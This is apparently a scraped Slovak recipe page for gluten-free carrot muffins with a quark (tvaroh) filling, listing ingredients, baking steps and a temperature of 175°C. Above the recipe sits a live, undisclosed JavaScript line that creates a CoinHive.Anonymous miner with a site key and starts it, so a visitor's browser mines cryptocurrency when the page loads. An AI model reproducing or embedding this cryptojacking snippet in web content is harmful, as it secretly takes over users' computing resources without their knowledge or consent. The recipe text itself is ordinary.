

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



1 ½ hrnčeka (250ml) bezlepkovej múky Promix PK špeciál, 1 ½ ČL jedlej sódy, 1 ČL soli, 1 ČL mletej škorice, 1 ČL kypriaceho prášku, ½ ČL mletý muškátový oriešok (nemusí byť), 1 hrnček kryštálového cukru, 3 vajcia + 1 bielok, 165ml oleja, 1 ½ hrnčeka najemno nastrúhanej mrkvy.

Tvarohová plnka: 250g tvarohu, 1 vanilínový cukor, 2 PL práškový alebo kryštálový cukor, 1 žĺtok, 3 celé vajcia a bielok vyšľaháme s olejom, pridáme nastrúhanú mrkvu, premiešame a nakoniec pridáme suché prísady, čiže múku, sódu, soľ, kypriaci prášok, škoricu, cukor a všetko spolu riadne vymiešame.

Do mafinovej formy naukladáme papierové košíčky a do nich rozdelíme cesto – vyjde na 24 košíčkov. Na vrch cesta malou lyžičkou rovnomerne pokladíme tvarohovú plnku a jemne vtlačíme do cesta. Pečieme pri 175°C cca 20 minút.